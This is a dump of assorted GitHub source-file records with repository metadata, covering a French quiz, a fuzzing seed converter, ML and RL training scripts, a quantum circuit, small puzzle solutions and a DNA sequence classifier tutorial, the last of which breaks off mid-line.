souris\"\nfourthChoice=\"Un perroquet\"\ntrueResponse=\"c\"\n\ncontenu = { \"libelle\":monLibelle,\n \"a\":firstChoice,\n \"b\":secondChoice,\n \"c\":thirdChoice,\n \"d\":fourthChoice,\n \"$\":trueResponse\n }\n\nmyQuestion=Question(contenu)\nfun.addQuestion(4,myQuestion)\n\n\n\"\"\"5\"\"\"\nmonLibelle=\"De quel super heros Robin est -il l'acolyte\"\nfirstChoice=\"Superman\"\nsecondChoice=\"Aquaman\"\nthirdChoice=\"Spiderman\"\nfourthChoice=\"Batman\"\ntrueResponse=\"d\"\n\ncontenu = { \"libelle\":monLibelle,\n \"a\":firstChoice,\n \"b\":secondChoice,\n \"c\":thirdChoice,\n \"d\":fourthChoice,\n \"$\":trueResponse\n }\n\nmyQuestion=Question(contenu)\nfun.addQuestion(5,myQuestion)\n\n\n\n\"\"\"6\"\"\"\nmonLibelle=\"De quelle espece vivante est <>\"\nfirstChoice=\"Un genie\"\nsecondChoice=\"Une tortue\"\nthirdChoice=\"Un dragon\"\nfourthChoice=\"Une tortue de mer\"\ntrueResponse=\"d\"\n\ncontenu = { \"libelle\":monLibelle,\n \"a\":firstChoice,\n \"b\":secondChoice,\n \"c\":thirdChoice,\n \"d\":fourthChoice,\n \"$\":trueResponse\n }\n\nmyQuestion=Question(contenu)\nfun.addQuestion(6,myQuestion)\n\n\n\"\"\"7\"\"\"\nmonLibelle=\"Que doit tu prendre quand tu es malade\"\nfirstChoice=\"Un haricot magique\"\nsecondChoice=\"La potion magique\"\nthirdChoice=\"Le yaourt\"\nfourthChoice=\"Des medicaments\"\ntrueResponse=\"d\"\n\ncontenu = { \"libelle\":monLibelle,\n \"a\":firstChoice,\n \"b\":secondChoice,\n \"c\":thirdChoice,\n \"d\":fourthChoice,\n \"$\":trueResponse\n }\n\nmyQuestion=Question(contenu)\nfun.addQuestion(7,myQuestion)","repo_name":"Salas-guyzo/genie-en-herbe","sub_path":"fun.py","file_name":"fun.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"7539227801","text":"import sys\nimport json\nimport glob\nimport os\n\n\n\"\"\"This script will take in an out folder from RFUZZ and convert each input (stored as a JSON) into its binary form\"\"\"\n\n\n\"\"\"Iterates through provided output folder and generates the binary form for each input\"\"\"\ndef convertFilesToBinary(input_folder, output_folder):\n if not os.path.isdir(output_folder):\n os.mkdir(output_folder)\n\n for filepath in glob.glob(input_folder + '/*'):\n filename = filepath.split(\"/\")[-1]\n if filename != \"latest.json\" and filename != \"config.json\":\n print(\"Processing: \" + filename)\n\n with open(filepath) as input:\n data = json.load(input)\n binary = generateBinary(data)\n with open(output_folder + \"/\" + filename.split(\".\")[0] + \".hwf\", 'wb') as new_file:\n new_file.write(binary)\n\n\n\"\"\"Converts data from a single file into binary input\"\"\"\ndef generateBinary(data):\n byteArray = bytearray(data['entry']['inputs'])\n print(byteArray)\n return byteArray\n\nif __name__ == \"__main__\":\n input_folder = sys.argv[1]\n output_folder = sys.argv[2]\n convertFilesToBinary(input_folder, output_folder)","repo_name":"ekiwi/rtl-fuzz-lab","sub_path":"src/fuzzing/RFUZZ_compare/RfuzzJsonToSeed.py","file_name":"RfuzzJsonToSeed.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"91"} +{"seq_id":"2373524037","text":"import torch\nimport torchvision\nfrom torchvision import transforms\nimport torch.utils.data\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef FaDataset():\n transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.5,), (0.5,))\n ])\n\n trainset = torchvision.datasets.FashionMNIST('../../data', train=True,\n transform=transform, download=False)\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=64,\n shuffle=True, num_workers=4)\n\n testset = torchvision.datasets.FashionMNIST('../../data', train=False,\n transform=transform, download=False)\n testloader = torch.utils.data.DataLoader(testset, batch_size=64,\n shuffle=True, num_workers=4)\n\n classes_name = ('T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',\n 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle Boot')\n\n return trainloader, testloader, classes_name\n\ndef imshow(img, one_channel=False):\n if one_channel:\n img = img.mean(dim=0)\n img = img / 2 + 0.5 # unnormalize\n npimg = img.numpy()\n if one_channel:\n plt.imshow(npimg, cmap=\"Greys\")\n else:\n plt.imshow(np.transpose(npimg, (1, 2, 0)))\n plt.show()\n\n\nif __name__ == '__main__':\n trainloader,_,classes_name = FaDataset()\n print(len(trainloader), len(trainloader.dataset))\n for i, sample in enumerate(trainloader, 0):\n images, labels = sample\n print(images.shape)\n imshow(torchvision.utils.make_grid(images)) # 显示一个 batch 的所有图片\n print(' '.join('%5s' % classes_name[labels[j]] for j in range(4)))# 打印前 4 个图片的 labels\n if i == 0:\n break","repo_name":"Fenghaze/pytorch","sub_path":"实战/数据可视化/fa_dataset.py","file_name":"fa_dataset.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"10437831995","text":"\"\"\"Sectional Array Sort, CodeWars kata, level 7.\"\"\"\n\n\ndef sect_sort(arr, start, length=0):\n \"\"\"Return sort from given position in ascending order.\n\n documentation: sect_sort(array, start, length)\n array: array to sort\n start: staring position\n length: number of items to sortoptional\n input = list of integers\n output = list of integers, sorted in ascending order\n ex. sect_sort([1, 2, 5, 7, 4, 6, 3, 9, 8], 2) //=> [1, 2, 3, 4, 5, 6, 7, 8, 9]\n ex. sect_sort([9, 7, 4, 2, 5, 3, 1, 8, 6], 2, 5) //=> [9, 7, 1, 2, 3, 4, 5, 8, 6]\n \"\"\"\n if not arr:\n return arr\n if length == 0:\n pre = arr[:start]\n return pre + sorted(arr[start:])\n if length > 0:\n pre = arr[:start]\n mid = sorted(arr[start: start + length])\n post = arr[start + length:]\n return pre + mid + post\n","repo_name":"marco-zangari/code-katas","sub_path":"src/sectional_list_sort.py","file_name":"sectional_list_sort.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"39901853756","text":"#! /usr/bin/python3\n\nimport fileinput\nimport sys\n\nstream = ''\nfor line in fileinput.input():\n stream += line.strip()\n\nsum = 0\ndepth = 0\ni = 0\ngarbage_count = 0\ngarbage = False\n\nwhile i < len(stream):\n ch = stream[i]\n\n if garbage and ch == '!':\n i += 1\n elif ch == '>':\n garbage = False\n elif garbage:\n garbage_count += 1\n elif ch == '<':\n garbage = True\n elif ch == '{':\n depth += 1\n elif ch == '}':\n sum += depth\n depth -= 1\n \n i += 1\n \nprint(garbage_count)","repo_name":"surry/aoc217","sub_path":"day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"19063195868","text":"#!/scratch/cluster/clw4542/rlzoo/bin/python\nimport argparse\nimport gym\n\nfrom envs.demo_wrapper import DemoWrapper\nfrom envs.time_feature_wrapper import TimeFeatureWrapper\nfrom envs.reward_wrapper import RewardWrapper\nfrom envs.sparsifier_wrapper import SparsifyWrapper\nfrom utils.load_confs import load_parameters, load_paths\nfrom utils.helpers import str2bool, get_demo\n\nparams = load_parameters()\npaths = load_paths()\n\n\ndef argparser():\n parser = argparse.ArgumentParser(\n \"Training RL alone or with demonstration\")\n parser.add_argument('--algo', type=str, choices=['sac', 'td3'], default=None)\n parser.add_argument('--env_id', type=str, choices=[\n 'Reacher-v2', 'Swimmer-v2', 'HalfCheetah-v2', 'Ant-v2', 'Hopper-v2', 'Walker2d-v2'], default=None)\n parser.add_argument('--task', type=str)\n parser.add_argument('--displace_t', type=int, default=1)\n parser.add_argument(\n '--run_id', type=int, help=\"if specified, save file will have id=run_id+1\", default=None)\n parser.add_argument('--demo_algo', type=str, default=None)\n parser.add_argument('--demo_level', type=str, default=None)\n parser.add_argument('--sparse_rew', type=str2bool,\n help=\"sparsify mujoco task reward by accumulating for rew_delay timesteps\", default=False)\n return parser.parse_args()\n\n\ndef make_custom_env(args, eval_mode):\n results_dir = paths['rl_demo']['results_dir']\n args.task_log_name = f\"{args.task}_{args.algo}\"\n rew_delay = params[\"training\"][args.env_id.replace(\"-v2\", \"\").lower()][\"rew_delay\"]\n sin_cos_repr = params[\"training\"][args.env_id.replace(\"-v2\", \"\").lower()][\"sin_cos_repr\"]\n\n env = gym.make(args.env_id)\n\n if args.task == 'baseline_rl':\n if args.sparse_rew:\n env = SparsifyWrapper(env, rew_delay=rew_delay)\n # write a custom wrapper for the sin-cos repr???\n args.task_log_name = f\"{args.task}_hidden={params['baseline_rl']['hidden_size']}_sparse-rew={args.sparse_rew}\"\n\n elif args.task == 'time_feature_rl':\n gamma = params[\"sac\"][args.env_id.replace(\"-v2\", \"\").lower()][\"gamma\"]\n env = TimeFeatureWrapper(env)\n if args.sparse_rew:\n env = SparsifyWrapper(env, rew_delay=rew_delay)\n args.task_log_name = f\"{args.task}_sparse-rew={args.sparse_rew}\"\n\n elif args.task == \"raw_demo_time_feat_rl\":\n expert_demo, _ = get_demo(\n args.env_id, demo_algo=args.demo_algo, raw=True, sin_cos_repr=sin_cos_repr, shuffle=False)\n env = TimeFeatureWrapper(env)\n if args.sparse_rew:\n env = SparsifyWrapper(env, rew_delay=rew_delay)\n env = DemoWrapper(env, expert_demo, displace_t=args.displace_t)\n args.task_log_name = f\"{args.task}_demo={args.demo_level}_sparse-rew={args.sparse_rew}\"\n\n elif args.task == \"potential_dense_time_feat_rl\":\n expert_demo, _ = get_demo(\n args.env_id, demo_algo=args.demo_algo, raw=True, sin_cos_repr=sin_cos_repr, shuffle=False)\n env = TimeFeatureWrapper(env)\n env = RewardWrapper(env, args.env_id, expert_demo,\n reward_type=\"potential\" if eval_mode is False else \"env\", \n displace_t=args.displace_t, raw=True)\n if args.sparse_rew:\n env = SparsifyWrapper(env, rew_delay=rew_delay)\n args.task_log_name = f\"{args.task}_demo={args.demo_level}_sparse-rew={args.sparse_rew}\"\n\n elif args.task == \"huber+env_time_feat_rl\":\n expert_demo, _ = get_demo(\n args.env_id, demo_algo=args.demo_algo, raw=True, sin_cos_repr=sin_cos_repr, shuffle=False)\n env = TimeFeatureWrapper(env)\n if args.sparse_rew:\n env = SparsifyWrapper(env, rew_delay=rew_delay)\n env = RewardWrapper(env, args.env_id, expert_demo,\n reward_type=\"huber\" if eval_mode is False else \"env\", \n displace_t=args.displace_t, raw=True)\n args.task_log_name = f\"{args.task}_demo={args.demo_level}_sparse-rew={args.sparse_rew}\"\n\n elif args.task == \"sbs_time_feat_rl\":\n expert_demo, _ = get_demo(\n args.env_id, demo_algo=args.demo_algo, raw=False, sin_cos_repr=sin_cos_repr, shuffle=False)\n env = TimeFeatureWrapper(env)\n if args.sparse_rew:\n env = SparsifyWrapper(env, rew_delay=rew_delay)\n env = RewardWrapper(env, args.env_id, expert_demo,\n reward_type=\"sbs_potential\" if eval_mode is False else \"env\", \n displace_t=args.displace_t, raw=False, time_feat=True)\n args.task_log_name = f\"{args.task}_demo={args.demo_level}_sparse-rew={args.sparse_rew}\"\n\n else:\n raise Exception(\"No matching tasks found.\")\n\n return env\n\n\ndef train_sac(args):\n from expert_traj.train_sample_sac import train\n\n env = make_custom_env(args, eval_mode=False)\n eval_env = make_custom_env(args, eval_mode=True)\n\n train(args.env_id, env, eval_env,\n task_name=args.task_log_name,\n save_tb_logs=params[\"eval\"][\"save_tb_logs\"],\n save_checkpoints=params[\"eval\"][\"ckpt_options\"],\n run_id=args.run_id)\n env.close()\n eval_env.close()\n\n\ndef train_td3(args):\n from expert_traj.train_sample_td3 import train\n\n env = make_custom_env(args, eval_mode=False)\n eval_env = make_custom_env(args, eval_mode=True)\n\n train(args.env_id, env, eval_env,\n task_name=args.task_log_name,\n save_tb_logs=params[\"eval\"][\"save_tb_logs\"],\n save_checkpoints=params[\"eval\"][\"ckpt_options\"],\n run_id=args.run_id)\n env.close()\n eval_env.close()\n\n\nif __name__ == '__main__':\n args = argparser()\n if args.algo==\"sac\":\n train_sac(args)\n elif args.algo==\"td3\":\n train_td3(args)","repo_name":"carolinewang01/dshape","sub_path":"src/rl_demo/run_rl_demo.py","file_name":"run_rl_demo.py","file_ext":"py","file_size_in_byte":5787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"35596745473","text":"from qiskit import QuantumCircuit\n\n\ndef pqc5(x, theta):\n\tqc = QuantumCircuit(4)\n\tqc.rx(x[0], 0)\n\tqc.rx(x[1], 1)\n\tqc.rx(x[2], 2)\n\tqc.rx(x[3], 3)\n\n\tqc.ry(theta[0], 0)\n\tqc.ry(theta[1], 1)\n\tqc.ry(theta[2], 2)\n\tqc.ry(theta[3], 3)\n\n\tqc.cx(3, 0)\n\tqc.cx(0, 1)\n\tqc.cx(1, 2)\n\tqc.cx(2, 3)\n\n\tqc.rz(theta[4], 0)\n\tqc.rz(theta[5], 1)\n\tqc.rz(theta[6], 2)\n\tqc.rz(theta[7], 3)\n\n\tqc.cx(0, 3)\n\tqc.cx(1, 0)\n\tqc.cx(2, 1)\n\tqc.cx(3, 2)\n\n\tqc.h([0, 1, 2, 3])\n\treturn qc\n\t\n","repo_name":"erenaykrcn/HAE","sub_path":"modules/qnn/qcircuits/pqc5.py","file_name":"pqc5.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"36316083914","text":"import radio\nfrom microbit import *\n\nradio.config(group=223, power=2)\nradio.on()\nuart.init(9600)\n\nwhile True:\n event = radio.receive_bytes()\n if event and event == b'2':\n data = radio.receive()\n if data is not None:\n uart.write(b'2')\n uart.write(data)\n sleep(500)\n","repo_name":"alexsword88/AIoTProject","sub_path":"TemperatureKeeper/microbit/TempReceiver.py","file_name":"TempReceiver.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"20557547352","text":"from index import n,coefficientmatrix,rhscolumn,listdifference,backsubstitution\n\ndef partialpivotion(coefficientatrix):\n global bvector\n for k in range(n):\n reqcoeff=coefficientatrix[k][k]\n rowswitchindex=k\n\n for (comparedrow,l) in enumerate([coefficientmatrix[f][k] for f in range(k+1,n)]):\n if abs(l)>abs(reqcoeff):rowswitchindex=comparedrow+k+1;reqcoeff=l;continue\n \n coefficientatrix[k],coefficientatrix[rowswitchindex]=coefficientatrix[rowswitchindex],coefficientatrix[k]\n bvector[rowswitchindex],bvector[k]=bvector[k],bvector[rowswitchindex]\n pivotrow=coefficientmatrix[k];pivotelement=pivotrow[k]\n\n #There is very little prospect that after the partialpivotion above, the pivot element is still 0.\n if pivotelement==0:\n print(k)\n coefficientatrix[k],coefficientatrix[k+1]=coefficientatrix[k+1],coefficientatrix[k]\n pivotrow=coefficientatrix[k];pivotelement;pivotrow[k];\n bvector[k],bvector[k+1]=bvector[k+1],bvector[k];continue\n\n\n #Normalization via pivot elements, Subtraction of matrices' rows\n for m in range(k+1,n):\n rtc=coefficientatrix[m]\n smpivotrow=[((a*rtc[k])/pivotelement) for a in pivotrow]\n \n coefficientatrix[m]=listdifference(rtc,smpivotrow);bvector[m]-=((bvector[k]*rtc[k])/pivotelement) \n \n print(f\"The result of partially pivoted dynamic triangularization is: \\n{coefficientatrix} with the new B-vector being: {bvector}\")\n return coefficientatrix\n\n\n\n \nbvector=rhscolumn;U=partialpivotion(coefficientmatrix);solutionsdictionary=backsubstitution(U)\nprint(solutionsdictionary)","repo_name":"Atrucens/LinearSystems","sub_path":"PartialPivoting.py","file_name":"PartialPivoting.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"73415451824","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.nn.init as I\n\n\"\"\"Has to output 136 values, that will be coordinates of the facial keypoints\"\"\"\nclass Net(nn.Module):\n\n def __init__(self):\n super(Net, self).__init__()\n \n self.conv1 = nn.Conv2d(1, 32, 5)\n self.conv2 = nn.Conv2d(32, 64, 3)\n self.conv3 = nn.Conv2d(64, 128, 3)\n self.conv4 = nn.Conv2d(128, 256, 3)\n \n self.pool = nn.MaxPool2d(2, 2)\n self.dropout = nn.Dropout(p=0.25)\n \n self.fc1 = nn.Linear(256*12*12, 1000)\n self.fc2 = nn.Linear(1000, 136)\n \n \n def forward(self, x):\n x = self.dropout(self.pool(F.relu(self.conv1(x))))\n x = self.dropout(self.pool(F.relu(self.conv2(x))))\n x = self.dropout(self.pool(F.relu(self.conv3(x))))\n x = self.dropout(self.pool(F.relu(self.conv4(x))))\n \n x = x.view(x.size(0), -1)\n \n x = self.dropout(x)\n \n x = self.dropout(F.relu(self.fc1(x)))\n x = self.fc2(x)\n \n return x\n","repo_name":"vsaba/facial-keypoints-detection-project","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"19630699788","text":"import FileReader\nfrom SpeechBlock import SpeechBlock\nfrom rendering.commands import CommandQueue\nimport re\n\n__all__ = [\n \"Game\"\n]\n\nimport Stage\nfrom statement import Statement\nfrom statement_list import StatementList\nfrom terminal import Terminal\n\n\ndef parse(line: str, characters: list[dict]):\n res = line\n\n matches = re.findall(r\"\\[\\d+]\", line)\n character_ids = map(lambda text: int(text[1:-1]), matches)\n for cid in character_ids:\n res = res.replace(f\"[{cid}]\", characters[cid][\"CharacterName\"])\n\n return res\n\n\nclass Game:\n def __init__(self, commands_queue: CommandQueue, terminal: Terminal):\n self.commands_queue = commands_queue\n self.terminal = terminal\n self.case = 0\n self.statements = StatementList([])\n\n def play_case(self):\n characters = FileReader.read_characters(self.case)\n stages = FileReader.read_script(self.case)\n\n for stage in range(len(stages)):\n self.play_stage(characters, stages[stage])\n\n def play_stage(self, characters: list[dict], stage: Stage):\n self.write_speech(stage.speeches[0], characters)\n speech_index = 1\n\n running = True\n while running:\n pressed_key = self.terminal.get_character()\n if pressed_key == 'w':\n self.statements.highlight_prev()\n if pressed_key == 's':\n self.statements.highlight_next()\n if pressed_key == 'e':\n self.write_speech(stage.speeches[speech_index], characters)\n speech_index += 1\n if pressed_key == 'z':\n self.statements.select_currently_highlighted()\n if pressed_key == 'c':\n self.statements.clear_selection()\n if pressed_key == 'x' and speech_index == stage.speeches.__len__():\n if set(self.statements.selected_items) == stage.correct:\n self.WriteBlocks(stage.win_speech, characters)\n else:\n self.WriteBlocks(stage.loss_speech, characters)\n\n self.commands_queue.clear_screen()\n for i, statement in enumerate(self.statements):\n statement.show(self.commands_queue,\n statement is self.statements.highlighted_statement,\n i in self.statements.selected_items)\n\n\n def WriteBlocks(self, blocks: list[SpeechBlock], chars: list[dict]):\n for block in blocks:\n self.write_speech(block, chars)\n\n\n def write_speech(self, block: SpeechBlock, chars: list[dict]):\n new_statements = StatementList([])\n new_statements.append(Statement(\"\", chars[block.speaker]['CharacterName']))\n for line in block.statements:\n new_statements.append(Statement(parse(line, chars), \"\"))\n\n for statement in new_statements:\n statement.animate(self.commands_queue)\n self.statements.extend(new_statements)","repo_name":"kristyanYochev/ace-attorney-from-ali-express","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":2960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"15617128331","text":"import math\r\n\r\n\r\ndef capacity_dist(cap1, cap2):\r\n frac = float(min(cap1, cap2)) / float(max(cap1, cap2))\r\n return (1.0 - frac)\r\n\r\n\r\ndef duration_dist(dur1, dur2, min_duration, max_duration):\r\n diff = abs(dur1.total_seconds() - dur2.total_seconds())\r\n return normalize(diff, min_duration, max_duration)\r\n\r\n\r\ndef users_dist(users1, users2):\r\n if len(users1) == 0 or len(users2) == 0:\r\n return 1\r\n num_similar = len(set(users1).intersection(users2))\r\n largest = float(max(len(users1), len(users2)))\r\n return ((largest - num_similar) / largest)\r\n\r\n\r\ndef normalize(val, min_val, max_val):\r\n return (val - min_val) / (max_val - min_val)\r\n\r\nseasons = {\r\n 'winter': 0,\r\n 'spring': 1,\r\n 'summer': 2,\r\n 'fall': 3\r\n}\r\n\r\n\r\ndef season_dist(s1, s2):\r\n dx = float(abs(seasons[s1] - seasons[s2]))\r\n if dx > 2:\r\n dx = 4 - dx\r\n return (abs(dx) * 50.0) / 100.0\r\n","repo_name":"atlefren/dt_8109","sub_path":"dist.py","file_name":"dist.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"29711464025","text":"'''\nContributors: Aarush Aitha, Kevin Liu\nVersion Number: 2.0\nRevision Date: 1/19/20\n'''\nfrom Bio import SeqIO\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom IPython.display import Image\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.metrics import accuracy_score, f1_score, precision_score, recall_score\n\n#the above lines import classes and packages from different libraries\n\nhuman = pd.read_table('C:/Users/aarus/Documents/CSA/BioPython/human_data.txt') \nchimp = pd.read_table('C:/Users/aarus/Documents/CSA/BioPython/chimp_data.txt')\ndog = pd.read_table('C:/Users/aarus/Documents/CSA/BioPython/dog_data.txt')\n\n#this line will use the pandas library in order to reorganize the data in the text file\n#it will use the following format:\n'''\n sequence class\n0 ATGCCCCAACTAAATACTACCGTATGGCCCACCATAATTACCCCCA... 4\n1 ATGAACGAAAATCTGTTCGCTTCATTCATTGCCCCCACAATCCTAG... 4\n2 ATGTGTGGCATTTGGGCGCTGTTTGGCAGTGATGATTGCCTTTCTG... 3\n3 ATGTGTGGCATTTGGGCGCTGTTTGGCAGTGATGATTGCCTTTCTG... 3\n4 ATGCAACAGCATTTTGAATTTGAATACCAGACCAAAGTGGATGGTG... 3\n...\n\nwhere each row represents all the nucleotides in one gene (under the sequence header)\nand also has the class of the gene (0-6)\n'''\n'''\nprint(human.head())\nprint(chimp.head())\nprint(dog.head())\n'''\n#the .head() function will print the first 5 rows of the pandas table\n\n'''\nthe following function will collect all possible overlapping k-mers of a specified \nlength from any sequence string.\n\nFor example:\nATGCCCCAACTAAATACTACCGTATGGCCCACCATAATTACCCCCA\n\nwill become:\n['ATGCCC', 'TGCCCC', 'GCCCCA', 'CCCCAA', ....]\n'''\ndef getKmers(sequence, size=6):\n return [sequence[x:x+size].lower() for x in range(len(sequence) - size + 1)]\n\n\nhuman['words'] = human.apply(lambda x: getKmers(x['sequence']), axis=1)\nchimp['words'] = chimp.apply(lambda x: getKmers(x['sequence']), axis=1)\ndog['words'] = dog.apply(lambda x: getKmers(x['sequence']), axis=1)\n#the .apply() function from pandas will apply a function to every single\n#value in a pandas series. (the function in questions is getKmers).\n#we now have a new column in the pandas table named 'words' and each row\n#will now contain a list of all possible k-mers from the sequence.\nhuman = human.drop('sequence', axis=1)\nchimp = chimp.drop('sequence', axis=1)\ndog = dog.drop('sequence', axis=1)\n#there is now no need for the DNA sequences, so we can delete that column\n#from the pandas table to be more efficient. \n\nhuman_texts = list(human['words'])\n#transforming the 'words' column into its own list and storing it in human_texts\nfor item in range(len(human_texts)): #each index of this list represents the output of getKmers for the sequence\n human_texts[item] = ' '.join(human_texts[item]) #since this is a 2D list, we are just connecting each list into a string separated with spaces\ny_h = human.iloc[:, 0].values \n#y_h contains all the class numbers of each sequence of DNA in the entire file\n#it will be a list of numbers as so: [4 4 3 ... 6 6 6]\n'''\nThe class labels mean that a sequence will code for a specific protein:\n\nGENE FAMILY CLASS LABEL\nG protein coupled receptors 0\nTyrosine kinase 1\nTyrosine phosphatase 2\nSynthetase 3\nSynthase 4\nIon Channel 5\nTranscription Factor 6\n'''\n#we will be doing the same things for the chimp and dog data\nchimp_texts = list(chimp['words'])\nfor item in range(len(chimp_texts)):\n chimp_texts[item] = ' '.join(chimp_texts[item])\ny_c = chimp.iloc[:, 0].values # y_c for chimp\n\ndog_texts = list(dog['words'])\nfor item in range(len(dog_texts)):\n dog_texts[item] = ' '.join(dog_texts[item])\ny_d = dog.iloc[:, 0].values # y_d for dog\n\ncv = CountVectorizer(ngram_range=(4,4))\n#the CountVectorizer function will first find all the unique tetragrams (sequences of 4 \"words\" (6 nucleotides like 'aattcc') in a row)\n#in the sequence. For each sequence, the CountVectorizer function will return a list of how many\n#times the given tetragram occurs in the sequence.\n'''\nFor example...\n[[0 0 0 ... 0 0 0]\n [0 0 0 ... 0 0 0]\n [0 0 0 ... 0 0 0]\n ...\n [0 0 0 ... 0 0 0]\n [0 0 0 ... 0 0 0]\n [0 0 0 ... 0 0 0]]\n'''\nX = cv.fit_transform(human_texts)\n'''\nTo center the data (make it have zero mean and unit standard error), you subtract the mean and then divide the result by the standard deviation.\n\nx′=x−μσ\nYou do that on the training set of data. But then you have to apply the same transformation to your testing set (e.g. in cross-validation), or to newly obtained examples before forecast. But you have to use the same two parameters μ and σ (values) that you used for centering the training set.\n\nHence, every sklearn's transform's fit() just calculates the parameters (e.g. μ and σ in case of StandardScaler) and saves them as an internal objects state. Afterwards, you can call its transform() method to apply the transformation to a particular set of examples.\n\nfit_transform() joins these two steps and is used for the initial fitting of parameters on the training set x, but it also returns a transformed x′. Internally, it just calls first fit() and then transform() on the same data.\n'''\nX_chimp = cv.transform(chimp_texts)\nX_dog = cv.transform(dog_texts)\n\nprint(X.shape)\nprint(X_chimp.shape)\nprint(X_dog.shape)\n#will return a tuple that represents the dimensionality of the DataFrame\n'''\nFor example:\n(4380, 232414)\n'''\n\n'''\nprint(human['class'].value_counts().sort_index().plot.bar())\nprint(chimp['class'].value_counts().sort_index().plot.bar())\nprint(dog['class'].value_counts().sort_index().plot.bar())\n'''\n\n'''\n.value_counts():\nReturn a Series containing counts of unique values.\n\nThe resulting object will be in descending order so that the first element is the most frequently-occurring element. Excludes NA values by default.\n\n.sort_index():\nPandas dataframe.sort_index() function sorts objects by labels along the given axis.\nBasically the sorting alogirthm is applied on the axis labels rather than the actual data in the dataframe and based on that the data is rearranged. \n\n.plot:\n Each pyplot function makes some change to a figure: e.g., creates a figure, creates a plotting area in a figure, plots some lines in a plotting area, decorates the plot with labels, etc.\n\n.bar():\n Make a bar plot.\n\nThe bars are positioned at x with the given alignment. Their dimensions are given by width and height. The vertical baseline is bottom (default 0).\n\n\n'''\nX_train, X_test, y_train, y_test = train_test_split(X, \n y_h, \n test_size = 0.20, \n random_state=42)\n\n'''\nSplit arrays or matrices into random train and test subsets\n\nFor example\nx = [[0, 1], [2, 3], [4, 5], [6, 7], [8, 9]]\ny = [0,1,2,3,4]\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=42)\n\nSince the test_size is 0.33 that means the train_size is 0.67, the function will randomly select (2/3)*5 or roughly 3 elements \nfrom the list. \n\nX_train = [[4,5], [0,1], [6,7]]\ny_train = [2,0,3]\n\n\nThe data set for the test set will contain only the elements that haven't been selected by the training set yet.\nIt will randomly order these elements.\nX_test = [[8,9], [2,3]]\ny_test = [1,4]\n\nIn our situation, we can see that the training set will have randomly selected of 80% of the elements\nwhile the testing set will contain the rest of the elements in selected in a random order\n\nthe random_state parameter just specifies the seed of the random number generator (takes in int)\n\n'''\nprint(X_train.shape)\nprint(X_test.shape)\n#print(X_test)\n\n'''\n.shape gives the dimensionality of the data frame\n'''\n\n\nclassifier = MultinomialNB(alpha=0.1)\n'''\nNaive Bayes classifier for multinomial models\n\nThe multinomial Naive Bayes classifier is suitable for classification with discrete features (e.g., word counts for text classification). The multinomial \ndistribution normally requires integer feature counts. However, in practice, fractional counts such as tf-idf may also work.\n'''\nclassifier.fit(X_train, y_train)\n'''\nfit naive bayes classifier according to X, y\n'''\ny_pred = classifier.predict(X_test) \n\n'''\ngiven a trained model, predict the label of a new set of data. This method accepts one argument, the new data X_new (e.g. model.predict(X_new)),\nand returns the learned label for each object in the array.\n\nThe dimensionality of X_test is (3504, 876) so the y_pred prediction will contain 876 elements\n'''\n\nprint(\"Confusion matrix\\n\")\nprint(pd.crosstab(pd.Series(y_test, name='Actual'), pd.Series(y_pred, name='Predicted')))\n\n#Will construct a pandas table with a row named Predicted, and a column named Acutal\n#the Predicted row will have 0-6 for each class label, and the Actual column will have\n#the same 0-6 for each class label.\ndef get_metrics(y_test, y_predicted):\n accuracy = accuracy_score(y_test, y_predicted)\n precision = precision_score(y_test, y_predicted, average='weighted')\n recall = recall_score(y_test, y_predicted, average='weighted')\n f1 = f1_score(y_test, y_predicted, average='weighted')\n return accuracy, precision, recall, f1\n\n'''\nThe get_metrics function will calculate the accuracy score, precision score, recall score\nand f1 score.\n\nThe accuracy score is the set of labels predicted for a sample must exactly match the corresponding\nset of labels in y_test\n\nThe precision score is equal to tp / (tp + fp), where tp = # of true positives, fp = # of false positives\nThe ability of the classifier to not label as positive a sample that is negative\n\nThe recall score is equal to tp / (tp + fn), where tp = # true positives, and fn = # false negatives\nThis ist he ability of the model to find all positive samples\n\nThe f1 score is a weighted average of the precision and recall. \n'''\n\naccuracy, precision, recall, f1 = get_metrics(y_test, y_pred)\nprint(\"accuracy = %.3f \\nprecision = %.3f \\nrecall = %.3f \\nf1 = %.3f\" % (accuracy, precision, recall, 